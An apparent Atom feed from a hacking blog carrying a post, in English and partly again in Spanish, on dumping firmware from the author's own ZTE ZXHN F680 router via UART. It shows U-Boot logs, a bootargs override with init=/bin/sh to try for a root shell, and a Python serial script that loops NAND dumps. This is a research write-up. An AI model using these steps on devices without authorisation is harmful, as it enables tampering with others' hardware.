<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.9.5">Jekyll</generator><link href="https://blog.rop.la/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.rop.la/" rel="alternate" type="text/html" hreflang="en" /><updated>2024-06-21T22:34:20+00:00</updated><id>https://blog.rop.la/feed.xml</id><title type="html">Republic of Pwning</title><subtitle>Hacking, Reversing, Exploiting, CTFs...</subtitle><author><name>RoP Team</name></author><entry xml:lang="en"><title type="html">Two ways to dump the firmware of the ZTE ZXHN routers part 1</title><link href="https://blog.rop.la/en/reversing/2024/06/21/two-ways-dump-firmware-zte-zxhn-routers-part1.html" rel="alternate" type="text/html" title="Two ways to dump the firmware of the ZTE ZXHN routers part 1" /><published>2024-06-21T05:00:00+00:00</published><updated>2024-06-21T05:00:00+00:00</updated><id>https://blog.rop.la/en/reversing/2024/06/21/two-ways-dump-firmware-zte-zxhn-routers-part1</id><content type="html" xml:base="https://blog.rop.la/en/reversing/2024/06/21/two-ways-dump-firmware-zte-zxhn-routers-part1.html"><![CDATA[<p>I have been using a ZTE ZXHN router for several years because it is the router provided by the ISP IPlan in Argentina. Since I generally like to analyze and pwn the things I use in my free time —literally breaking them— I started investigating. This ISP provides at least the following versions of this model for households: F670, F680, and F6600, of which I have used the latter two to develop this research. Nevertheless, this method will likely work for many other versions of the ZTE ZXHN model, or even other devices that meet the conditions that will be outlined in this post.</p>

<p>There are many ways to obtain the firmware. In this post, I will document two methods that I have not read about —although there is surely information available— for hot firmware extraction through a vulnerability in the SAMBA service configuration and via UART, but with a slightly different twist.</p>

<!--more-->

<h3 id="firmware-dumping-via-uart">Firmware dumping via UART</h3>

<p>The most commonly used and simplest protocol for IoT and embedded devices. This time, I will recount my adventures with the F680 router, but as I mentioned earlier, this can be extrapolated to other models of the ZTE router or other devices given the conditions.</p>

<p>To start this extraction process, you have to open the router very carefully because, as it supports fiber optics, you might damage the connection to the router and be left without the internet for a few days —like what happened to me. When examining the PCB to look for the four pin connections, I couldn’t find them, but when I turned it over, there they were. So, I began soldering some pins to connect to it, and using a USB to TTL adapter, you can interact with the interface provided by the router.</p>

<p>At this point, I tried <a href="https://www.synacktiv.com/publications/i-hack-u-boot.html">several documented methods</a>, but they didn’t work for me. One day was left before the ISP technician came to replace my router because I had broken a cable while opening it. So, I started considering two options: buying a programmer —since the NAND memory is a Winbond W25N— and extracting the firmware quickly, although I would be cutting it close as the order would arrive the same day they were replacing my router, or using the tools provided by the router itself and extracting it via command line. It would be slow, but it might work. Otherwise, I would have to break another router to continue the firmware extraction, which would certainly annoy everyone at home again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SF▒▒▒H▒
Boot SPI NAND
1
Boot SPI NAND
1

U-Boot 2013.04 (Apr 30 2021 - 11:17:06)

CPU  : ZX279128@A9,800MHZ
Board: ZTE zx279128evb
DRAM:  128 MiB
com1
product_vid = 75
vid=75-F680
output gpio:49, value=1, 0
output gpio:50, value=1, 0
output gpio:51, value=1, 0
output gpio:52, value=1, 0
8000000,48000000
NAND:  manuid=ef,aa

Manu ID: 0xef, Chip ID: 0xaa (Winbond SPI NAND W25N01GVZEIR+WINBOND 128MiB 3,3V)
128 MiB
&lt;nand_read_skip_bad_,1241&gt;!mtdpart=0x1,offset=0x0,mtdpartoffset=0x180000,mtdPartsize=0x80000,length=0x20000

...

Hit 1 to upgrade software version
Hit any key to stop autoboot:  0
</code></pre></div></div>

<p>In the boot process an option is showed to enter in the boot setup.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hit 1 to upgrade software version
Hit any key to stop autoboot:  0
=&gt; help
?       - alias for 'help'
boot    - boot default, i.e., run 'bootcmd'
bootd   - boot default, i.e., run 'bootcmd'
bootk   - boot kernel
coninfo - print console devices and information
cp      - memory copy
dhcp    - boot image via network using DHCP/TFTP protocol
downver - upgrade software downloaded from TFTP server
go      - start application at address 'addr'
ls      - list files in a directory (default /)
md      - memory display
mii     - MII utility commands
mtddebug- mtddebug operate
mtest   - simple RAM read/write test
mw      - memory write (fill)
nand    - NAND sub-system
printenv- print environment variables
reset   - Perform RESET of the CPU
saveenv - save environment variables to persistent storage
setenv  - set environment variables
...
</code></pre></div></div>

<p>There are some options, for example the line 11 list <code class="language-plaintext highlighter-rouge">\</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>--- jffs2_part_info: partition number 0 for device nand0 (single part)
jffs2_part_info:rootfs0,1a20000
rootfs0,1a20000
 -rw-r--r--  3672273 Wed Oct 28 12:51:20 2020 0uImage
 drwxr-xr-x        0 Wed Oct 28 12:51:17 2020 bin
 drwxr-xr-x        0 Wed Oct 28 12:23:44 2020 dev
 drwxr-xr-x        0 Wed Oct 28 12:51:18 2020 etc
 drwxr-xr-x        0 Wed Oct 28 12:51:16 2020 home
 -rwxr-xr-x       66 Wed Oct 28 12:23:29 2020 init
 drwxr-xr-x        0 Wed Oct 28 12:51:20 2020 kmodule
 drwxr-xr-x        0 Wed Oct 28 12:51:15 2020 lib
 lrwxrwxrwx       12 Wed Oct 28 12:41:44 2020 linuxrc -&gt; /bin/busybox
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 mnt
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 proc
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 root
 drwxr-xr-x        0 Wed Oct 28 12:51:20 2020 sbin
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 sys
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 tagparam
 lrwxrwxrwx        7 Wed Oct 28 12:23:29 2020 temp -&gt; var/tmp
 lrwxrwxrwx        7 Wed Oct 28 12:23:29 2020 tmp -&gt; var/tmp
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 userconfig
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 usr
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 var
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 wlan
</code></pre></div></div>

<p>One method is to try to overwrite the boot variables. To do this, I need to know what they are by using the <code class="language-plaintext highlighter-rouge">printenv</code> command</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; printenv
baudrate=115200
bootcmd=setenv bootargs console=$(console) root=/dev/mtdblock9 ro rootfstype=jffs2  mem=$(memsize);bootm 0x44000000;
bootdelay=2
bootfile=uboot.bin
console=ttyAMA0,115200n8
ethact=eth0
ethaddr=00:41:71:00:00:50
filesize=382421
fullfile=upgrade.bin
gatewayip=192.168.1.1
hostname=unknown
ipaddr=192.168.1.1
linuzfile=vmlinuz.bin
loadaddr=0x44000000
memsize=128M
nand_erasesize=20000
nand_oobsize=40
nand_writesize=800
netmask=255.255.255.0
netretry=5
serverip=192.168.1.100
stderr=serial
stdin=serial
stdout=serial
versioninfo=U-Boot V6.0.20P3N14B 20210430114200 0x3a00000 0x1 0x83 0x8f
</code></pre></div></div>

<p>Entonces se sobreescribe la variable <code class="language-plaintext highlighter-rouge">bootargs</code> con el comando <code class="language-plaintext highlighter-rouge">setenv</code> para agregar la variable <code class="language-plaintext highlighter-rouge">init=/bin/sh</code> y continuar el <em>booteo</em></p>

<p>Then, overwrite the variable <code class="language-plaintext highlighter-rouge">bootargs</code> using the <code class="language-plaintext highlighter-rouge">setenv</code> command to add <code class="language-plaintext highlighter-rouge">init=/bin/sh</code> and continue the boot process</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; setenv bootargs console=ttyAMA0,115200n8 root=/dev/mtdblock9 ro rootfstype=jffs2 mem=128M init=/bin/sh
=&gt; saveenv
=&gt; bootm 0x44000000
</code></pre></div></div>

<p>The result is</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Kernel panic - not syncing: Requested init /bin/sh; failed (error -2).
CPU: 1 PID: 1 Comm: swapper/0 Not tainted 4.1.25 #56
Hardware name: ZTE ZX279128 (Device Tree)
[&lt;c000fe68&gt;] (unwind_backtrace) from [&lt;c000ccdc&gt;] (show_stack+0x10/0x14)
[&lt;c000ccdc&gt;] (show_stack) from [&lt;c04ad5f8&gt;] (dump_stack+0x94/0xa8)
[&lt;c04ad5f8&gt;] (dump_stack) from [&lt;c04ab600&gt;] (panic+0xc4/0x22c)
[&lt;c04ab600&gt;] (panic) from [&lt;c04a9bf8&gt;] (kernel_init+0x98/0xf4)
[&lt;c04a9bf8&gt;] (kernel_init) from [&lt;c000a428&gt;] (ret_from_fork+0x14/0x2c)
</code></pre></div></div>
<p>It does not work. It’s possible that error -2 corresponds to <a href="https://man7.org/linux/man-pages/man3/errno.3.html"><code class="language-plaintext highlighter-rouge">ENOENT</code></a>, meaning that our precious <code class="language-plaintext highlighter-rouge">sh</code> is not present in the filesystem at the time the command is executed.</p>

<p>Let’s see some interesting commands again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; help
md      - memory display
nand    - NAND sub-system

=&gt; nand
nand device
nand info
nand read addr ofs|partition size
nand read.oob addr ofs|partition size
nand write addr ofs|partition size
nand read.raw addr ofs|partition [count]
nand write.raw addr ofs|partition [count]
nand dump
...
</code></pre></div></div>

<p>Here we can hypothesize that while in the boot configuration, executing bootm 0x44000000 means that the Linux Kernel Image is already loaded in the flash memory (volatile memory).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; md.b 0x44000000 3679265
44000000: 27 05 19 56 ef af 97 d7 60 8b 77 51 00 38 23 e1    '..V....`.wQ.8#.
44000010: 40 00 80 00 40 00 80 00 0c 5b 51 e6 05 02 02 00    @...@....[Q.....
44000020: 4c 69 6e 75 78 20 4b 65 72 6e 65 6c 20 49 6d 61    Linux Kernel Ima
44000030: 67 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ge..............
44000040: 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1    ................
44000050: 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1    ................
44000060: 03 00 00 ea 18 28 6f 01 00 00 00 00 70 0d 38 00    .....(o.....p.8.
44000070: 01 02 03 04 00 90 0f e1 88 0d 00 eb 01 70 a0 e1    .............p..
44000080: 02 80 a0 e1 00 20 0f e1 03 00 12 e3 01 00 00 1a    ..... ..........
44000090: 17 00 a0 e3 56 34 12 ef 00 00 0f e1 1a 00 20 e2    ....V4........ .
440000a0: 1f 00 10 e3 1f 00 c0 e3 d3 00 80 e3 04 00 00 1a    ................
440000b0: 01 0c 80 e3 0c e0 8f e2 00 f0 6f e1 0e f3 2e e1    ..........o.....
...
</code></pre></div></div>
<p>And simply to dump it, we need to save the log and convert it to a binary file using <code class="language-plaintext highlighter-rouge">xxd -r -p &lt;input.txt&gt; &lt;output.bin&gt;</code>. My idea is —and please correct me if I’m wrong— to use the combination of <code class="language-plaintext highlighter-rouge">nand read</code> to write the firmware from the NAND memory to the flash memory. Then, using <code class="language-plaintext highlighter-rouge">md.b</code> —whose functionality we’ve already seen— we can dump what is in the flash memory and obtain the firmware. How do we do this, and why does it need to be done this way? Let’s take a look.</p>

<p>After being given the option to enter the boot configuration, the reading of the firmware and its writing in memory continue and it can be save it in the log of the UART interface to which we are connected.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hit 1 to upgrade software version
Hit any key to stop autoboot:  0
addr=1a00000
addr=3a00000
select=0x0
search=0x2
&lt;nand_read_skip_bad_,1241&gt;!mtdpart=0x4,offset=0x0,mtdpartoffset=0x200000,mtdPartsize=0x400000,length=0x1000
BootImageNum=0x00000001,1
select=0x1
search=0x2
search-&gt;result[1].entry=3a00140
mtd_length=1660000
&lt;nand_read_skip_bad_,1241&gt;!mtdpart=0x3,offset=0x0,mtdpartoffset=0x3a00000,mtdPartsize=0x2000000,length=0x1660000

---mtdparts_init--current_mtd_partnum=1-
part  : name = rootfs0, size = 0x01700000, offset = 0x01a20000
part  : name = rootfs1, size = 0x01640000, offset = 0x03a20000

--- jffs2_part_info: partition number 1 for device nand0 (single part)
jffs2_part_info:rootfs1,3a20000
### JFFS2 loading '0uImage' to 0x44000000
Scanning JFFS2 FS: .................... done.
### JFFS2 load complete: 3679265 bytes loaded to 0x44000000
&lt;nand_read_skip_bad_,1241&gt;!mtdpart=0x0,offset=0x0,mtdpartoffset=0x0,mtdPartsize=0x200000,length=0x80000
</code></pre></div></div>

<p>Furthermore, line 15 onward indicates which part of the NAND memory contains the filesystem, and all this happens after the option to enter the boot configuration. The astute reader will notice that there are two filesystems, the first named <code class="language-plaintext highlighter-rouge">rootfs0</code> at the NAND memory address <code class="language-plaintext highlighter-rouge">0x01a20000</code> and the second <code class="language-plaintext highlighter-rouge">rootfs1</code> located at <code class="language-plaintext highlighter-rouge">0x03a20000</code>. You might wonder, why are there two filesystems? Let me tell you, this is common in such devices that require a certain level of redundancy. A backup filesystem is added to the NAND memory so that if the one being loaded is corrupted, the backup can be used. In this case, as we see on line 20, the default filesystem used is <code class="language-plaintext highlighter-rouge">rootfs1</code>.</p>

<p>With all this information, it’s time to wrestle with the <code class="language-plaintext highlighter-rouge">nand</code> command.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; nand dump 0x1a00000
Page 01a00000 dump:
        99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa
        28 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 00 00 00 00 00  00 00 00 00 56 36 2e 30
...
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">nand dump</code> works! Now with <code class="language-plaintext highlighter-rouge">nand read</code>, the use format is <code class="language-plaintext highlighter-rouge">nand read &lt;memory addr&gt; &lt;nand offset&gt; &lt;size&gt;</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; nand read 0x400000 0x1a00000 0x100

NAND read: device 0 offset 0x1a00000, size 0x100
 256 bytes read: OK
</code></pre></div></div>

<p>It seems to work as well! So let’s get started. But before diving in, <a href="https://elinux.org/Didj_U_Boot_Flashing_Primer">let’s see an example taken from the internet</a> on how it should work.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LF1000 # nand read 1800000 0 800

NAND read: device 0 offset 0x0, size 0x800
 2048 bytes read: OK
LF1000 # md 1800000 10
01800000: e59fd004 eb000001 ea000b6c 00228000    ........l.....".
01800010: e59fc034 e3a03001 e58c3000 e59c3008    4....0...0...0..
01800020: e3a00b02 e52de004 e3833080 e3a0e000    ......-..0......
01800030: e1a01000 e3a02b7e e58c3008 e58ce008    ....~+...0......
</code></pre></div></div>

<p>Now, how it works in my case</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; nand read 400000 1a00000 100

NAND read: device 0 offset 0x1a00000, size 0x100
 256 bytes read: OK
=&gt; md.b 0x00400000 100
00400000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00400010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00400020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00400030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00400040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
</code></pre></div></div>

<p>:(</p>

<p>But there’s no need to panic, we can use the last option, <code class="language-plaintext highlighter-rouge">nand dump</code>, which we already know works. Unfortunately, it only dumps 0x800 bytes. Additionally, given that we’re in an asynchronous communication setup, there’s almost certainly going to be some discrepancy in our dump. But it doesn’t matter, the next day they were going to replace my router anyway, and I’d have to open the new one—without breaking it—resolder the pins, and start over, so I had nothing to lose.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import sys
import time
import serial

class MySerial:
    def __init__(self, tty, baudrate = 115200, timeout = 1):
        self.ser = serial.Serial(tty, baudrate, timeout=timeout)
        self.ser.flush()
        self.ser.flushInput()
        self.ser.flushOutput()

    def read(self):
        data = self.ser.read().decode('latin-1')
        time.sleep(0.05)

        data += self.ser.read(self.ser.inWaiting()).decode('latin-1')
        return data

    def readuntil(self, msg):
        data = self.read()
        while msg not in data:
            data += self.read()
        return data
    
    def write(self, data):
        self.ser.write(data.encode('latin-1'))
        time.sleep(0.5)

    def writeline(self, data):
        self.write(data + '\n')
    
    def read_from_nand(self, offset, size, offset_end):
        data = ''
        off = 0
        idx = 0
        while offset + off &lt; offset + size and offset + off &lt; offset_end:
            cmd = 'nand dump 0x{:08x}'.format(offset + off)

            self.ser.flush()
            self.ser.flushInput()
            self.ser.flushOutput()

            self.writeline(cmd)
            self.writeline('\n'*5)
            tmp = self.readuntil('=&gt;')

            start = tmp.find('dump:')
            end = tmp.find('OOB:')

            print('{}: {} ## {},{}'.format(idx, cmd, start, end))

            chunk = tmp[start+7:end-1].rstrip()

            if start != 36 or end != 6571:
                continue

            off += 0x800
            idx += 1

            with open('rootfs1.txt', 'a') as f:
                f.write(chunk+'\n')


if __name__ == '__main__':
    serial = MySerial('/dev/ttyCH341USB0', 115200, 2)
    
    offset = 0x01a00000
    size = 0x01700000
    end = offset + size

    offset = 0x3a00000
    size = 0x1660000
    end = offset + size

    data = serial.read_from_nand(offset, size, end)
    print('Done')

</code></pre></div></div>

<p>After a few hours of execution, I have the firmware dumped in cold! Of course, I would then need to mount the directories if I wanted to have it as close as possible to when the router is initialized and running, which I wasn’t keen on doing. So, I began looking for another way to get a shell on the router, and that’s what the second part will be about: how to obtain a shell through SAMBA to finally dump the filesystem in hot.</p>

<p>For this part, I must thank my colleague <a href="https://x.com/ogianatiempo">Octa</a>, who provided his time, help, advice, and links. Thank you!</p>

<blockquote>
  <p>Written by <strong>Nox</strong></p>
</blockquote>]]></content><author><name>Nox</name></author><category term="en" /><category term="reversing" /><summary type="html"><![CDATA[Dump firmware of the ZTE ZXHN routers part 1]]></summary></entry><entry xml:lang="es"><title type="html">Dos métodos para volcar el firmware del routers ZTE ZXHN parte 1</title><link href="https://blog.rop.la/es/reversing/2024/06/21/two-ways-dump-firmware-zte-zxhn-routers-part1.html" rel="alternate" type="text/html" title="Dos métodos para volcar el firmware del routers ZTE ZXHN parte 1" /><published>2024-06-21T05:00:00+00:00</published><updated>2024-06-21T05:00:00+00:00</updated><id>https://blog.rop.la/es/reversing/2024/06/21/two-ways-dump-firmware-zte-zxhn-routers-part1</id><content type="html" xml:base="https://blog.rop.la/es/reversing/2024/06/21/two-ways-dump-firmware-zte-zxhn-routers-part1.html"><![CDATA[<p>He estado usando durante varios años un router ZTE del modelo ZXHN ya que es el router que brinda el ISP IPlan en Argentina y como por lo general en el tiempo libre me gusta analizar las cosas que uso y romperlas -literalmente -. Este ISP brinda para los hogares al menos las siguientes versiones de este modelo F670, F680 y F6600, de las cuales las dos últimas las he usado para desarrollar esta investigación. De todas maneras, esto método probablemente funcione para muchas más versiones del modelo ZTE ZXHN, o incluso otros dispositivos que cumplan las condiciones que serán desarrolladas en este post.</p>

<p>De todas maneras, hay muchas maneras de poder obtener el firmware. En este post voy a documentar dos métodos que yo no leído - aunque seguramente habrá información al respecto - , para la extracción firmware en caliente a través de una debilidad en la configuración del servicio SAMBA, y a través de UART, pero con un toque tinto distinto.</p>

<!--more-->

<h3 id="extracción-del-firmware-a-través-de-uart">Extracción del firmware a través de UART</h3>

<p>Una vez más, el protocolo más usado y sencillo usado por IoT y dispositivos embebidos. En esta ocación relataré mis aventuras con el router F680, pero como mencionó anteriormente, esto se puede extrapolar para los otros modelos del router ZTE, u otros dispositivos dadas las condiciones.</p>

<p>Para iniciar este proceso de extracción se tiene que abrir el router con mucho cuidado porque al soportar fibra óptica, podemos dañar la conexión que existe hacia el router y quedarnos sin internet por algunos días - cómo me pasó a mí :( -. Al observar el PCB para buscar las cuatro conexiones no las encontré, pero al voltearla estaban allí, así que comencé a soldarle unos pines para poder conectarme, y usando un <em>USB to TTL adapter</em> se puede interactuar con la interfaz que nos brinda el router.</p>

<p>En este punto intenté varias cosas <a href="https://www.synacktiv.com/publications/i-hack-u-boot.html">que están documentadas</a> pero no me funcionaron. Faltaba un día para que vengan a cambiarme el router porque había un roto un cable al abrirlo D: - así que comencé a barajear dos opciones, comprarme un programador - pues la memoria NAND es un Winbond W25N - y podría extraer el firmware rápidamente aunque iba a estar al límite porque el pedido me llegaría el día que me cambiaron el router, o usar las herramientas que brindaba el propio router y extraerlo por línea de comandos, sería lento pero tal vez funcionaría. Sino me tocaría romper otro router para seguir con la extracción del firmware y que se vuelvan a molestar conmigo en casa.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SF▒▒▒H▒
Boot SPI NAND
1
Boot SPI NAND
1

U-Boot 2013.04 (Apr 30 2021 - 11:17:06)

CPU  : ZX279128@A9,800MHZ
Board: ZTE zx279128evb
DRAM:  128 MiB
com1
product_vid = 75
vid=75-F680
output gpio:49, value=1, 0
output gpio:50, value=1, 0
output gpio:51, value=1, 0
output gpio:52, value=1, 0
8000000,48000000
NAND:  manuid=ef,aa

Manu ID: 0xef, Chip ID: 0xaa (Winbond SPI NAND W25N01GVZEIR+WINBOND 128MiB 3,3V)
128 MiB
&lt;nand_read_skip_bad_,1241&gt;!mtdpart=0x1,offset=0x0,mtdpartoffset=0x180000,mtdPartsize=0x80000,length=0x20000

...

Hit 1 to upgrade software version
Hit any key to stop autoboot:  0
</code></pre></div></div>

<p>Al iniciar el router aparecía la opción de parar el <em>booteo</em>, cuando esto se hace nos da un menú con diversas herramientas.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hit 1 to upgrade software version
Hit any key to stop autoboot:  0
=&gt; help
?       - alias for 'help'
boot    - boot default, i.e., run 'bootcmd'
bootd   - boot default, i.e., run 'bootcmd'
bootk   - boot kernel
coninfo - print console devices and information
cp      - memory copy
dhcp    - boot image via network using DHCP/TFTP protocol
downver - upgrade software downloaded from TFTP server
go      - start application at address 'addr'
ls      - list files in a directory (default /)
md      - memory display
mii     - MII utility commands
mtddebug- mtddebug operate
mtest   - simple RAM read/write test
mw      - memory write (fill)
nand    - NAND sub-system
printenv- print environment variables
reset   - Perform RESET of the CPU
saveenv - save environment variables to persistent storage
setenv  - set environment variables
...
</code></pre></div></div>

<p>Esto ya nos diversas opciones que podemos hacer, por ejemplo la línea 11 lista <code class="language-plaintext highlighter-rouge">\</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>--- jffs2_part_info: partition number 0 for device nand0 (single part)
jffs2_part_info:rootfs0,1a20000
rootfs0,1a20000
 -rw-r--r--  3672273 Wed Oct 28 12:51:20 2020 0uImage
 drwxr-xr-x        0 Wed Oct 28 12:51:17 2020 bin
 drwxr-xr-x        0 Wed Oct 28 12:23:44 2020 dev
 drwxr-xr-x        0 Wed Oct 28 12:51:18 2020 etc
 drwxr-xr-x        0 Wed Oct 28 12:51:16 2020 home
 -rwxr-xr-x       66 Wed Oct 28 12:23:29 2020 init
 drwxr-xr-x        0 Wed Oct 28 12:51:20 2020 kmodule
 drwxr-xr-x        0 Wed Oct 28 12:51:15 2020 lib
 lrwxrwxrwx       12 Wed Oct 28 12:41:44 2020 linuxrc -&gt; /bin/busybox
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 mnt
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 proc
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 root
 drwxr-xr-x        0 Wed Oct 28 12:51:20 2020 sbin
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 sys
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 tagparam
 lrwxrwxrwx        7 Wed Oct 28 12:23:29 2020 temp -&gt; var/tmp
 lrwxrwxrwx        7 Wed Oct 28 12:23:29 2020 tmp -&gt; var/tmp
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 userconfig
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 usr
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 var
 drwxr-xr-x        0 Wed Oct 28 12:23:29 2020 wlan
</code></pre></div></div>

<p>Uno de los tantos métodos es sobreescribir las variables de <em>booteo</em>, para ello veamos cuáles están establecidos con el comando <code class="language-plaintext highlighter-rouge">printenv</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; printenv
baudrate=115200
bootcmd=setenv bootargs console=$(console) root=/dev/mtdblock9 ro rootfstype=jffs2  mem=$(memsize);bootm 0x44000000;
bootdelay=2
bootfile=uboot.bin
console=ttyAMA0,115200n8
ethact=eth0
ethaddr=00:41:71:00:00:50
filesize=382421
fullfile=upgrade.bin
gatewayip=192.168.1.1
hostname=unknown
ipaddr=192.168.1.1
linuzfile=vmlinuz.bin
loadaddr=0x44000000
memsize=128M
nand_erasesize=20000
nand_oobsize=40
nand_writesize=800
netmask=255.255.255.0
netretry=5
serverip=192.168.1.100
stderr=serial
stdin=serial
stdout=serial
versioninfo=U-Boot V6.0.20P3N14B 20210430114200 0x3a00000 0x1 0x83 0x8f
</code></pre></div></div>

<p>Entonces se sobreescribe la variable <code class="language-plaintext highlighter-rouge">bootargs</code> con el comando <code class="language-plaintext highlighter-rouge">setenv</code> para agregar la variable <code class="language-plaintext highlighter-rouge">init=/bin/sh</code> y continuar el <em>booteo</em></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; setenv bootargs console=ttyAMA0,115200n8 root=/dev/mtdblock9 ro rootfstype=jffs2 mem=128M init=/bin/sh
=&gt; saveenv
=&gt; bootm 0x44000000
</code></pre></div></div>

<p>El resultado es</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Kernel panic - not syncing: Requested init /bin/sh; failed (error -2).
CPU: 1 PID: 1 Comm: swapper/0 Not tainted 4.1.25 #56
Hardware name: ZTE ZX279128 (Device Tree)
[&lt;c000fe68&gt;] (unwind_backtrace) from [&lt;c000ccdc&gt;] (show_stack+0x10/0x14)
[&lt;c000ccdc&gt;] (show_stack) from [&lt;c04ad5f8&gt;] (dump_stack+0x94/0xa8)
[&lt;c04ad5f8&gt;] (dump_stack) from [&lt;c04ab600&gt;] (panic+0xc4/0x22c)
[&lt;c04ab600&gt;] (panic) from [&lt;c04a9bf8&gt;] (kernel_init+0x98/0xf4)
[&lt;c04a9bf8&gt;] (kernel_init) from [&lt;c000a428&gt;] (ret_from_fork+0x14/0x2c)
</code></pre></div></div>

<p>No funciona, y posiblemente ese error -2 corresponda a <a href="https://man7.org/linux/man-pages/man3/errno.3.html">ENOENT</a>, es decir que nuestro tan preciado <code class="language-plaintext highlighter-rouge">sh</code> no se encuentra en el <em>filesystem</em> en el momento de la ejecución del comando.</p>

<p>Volvamos a ver otros comandos que nos interesan.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; help
md      - memory display
nand    - NAND sub-system

=&gt; nand
nand device
nand info
nand read addr ofs|partition size
nand read.oob addr ofs|partition size
nand write addr ofs|partition size
nand read.raw addr ofs|partition [count]
nand write.raw addr ofs|partition [count]
nand dump
...
</code></pre></div></div>
<p>Aquí podemos conjeturar que estando en la configuración del <em>booteo</em>, podemos ejecutar <code class="language-plaintext highlighter-rouge">bootm 0x44000000</code>, quiere decir que en la memoria flash (memoria volátil) ya está cargado el Linux Kernel Image.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; md.b 0x44000000 3679265
44000000: 27 05 19 56 ef af 97 d7 60 8b 77 51 00 38 23 e1    '..V....`.wQ.8#.
44000010: 40 00 80 00 40 00 80 00 0c 5b 51 e6 05 02 02 00    @...@....[Q.....
44000020: 4c 69 6e 75 78 20 4b 65 72 6e 65 6c 20 49 6d 61    Linux Kernel Ima
44000030: 67 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ge..............
44000040: 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1    ................
44000050: 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1 00 00 a0 e1    ................
44000060: 03 00 00 ea 18 28 6f 01 00 00 00 00 70 0d 38 00    .....(o.....p.8.
44000070: 01 02 03 04 00 90 0f e1 88 0d 00 eb 01 70 a0 e1    .............p..
44000080: 02 80 a0 e1 00 20 0f e1 03 00 12 e3 01 00 00 1a    ..... ..........
44000090: 17 00 a0 e3 56 34 12 ef 00 00 0f e1 1a 00 20 e2    ....V4........ .
440000a0: 1f 00 10 e3 1f 00 c0 e3 d3 00 80 e3 04 00 00 1a    ................
440000b0: 01 0c 80 e3 0c e0 8f e2 00 f0 6f e1 0e f3 2e e1    ..........o.....
...
</code></pre></div></div>

<p>Y simplemente para volcarlo debemos guardar el log y convertirlo a un <em>binary file</em> con <code class="language-plaintext highlighter-rouge">xxd -r -p &lt;input.txt&gt; &lt;output.bin&gt;</code>. Mi idea es - y por favor corríganme si me equivoco- usar la combinación de <code class="language-plaintext highlighter-rouge">nand read</code> para poder escribir desde la memoria NAND hacia la memoria flash el firmware, entonces con <code class="language-plaintext highlighter-rouge">md.b</code> - que ya vimos su funcionamiento -, volcar lo que se encuentra en memoria flash y obtener el firmware. ¿Cómo hacemos eso?, ¿y por qué tiene que ser así? Veámoslo.</p>

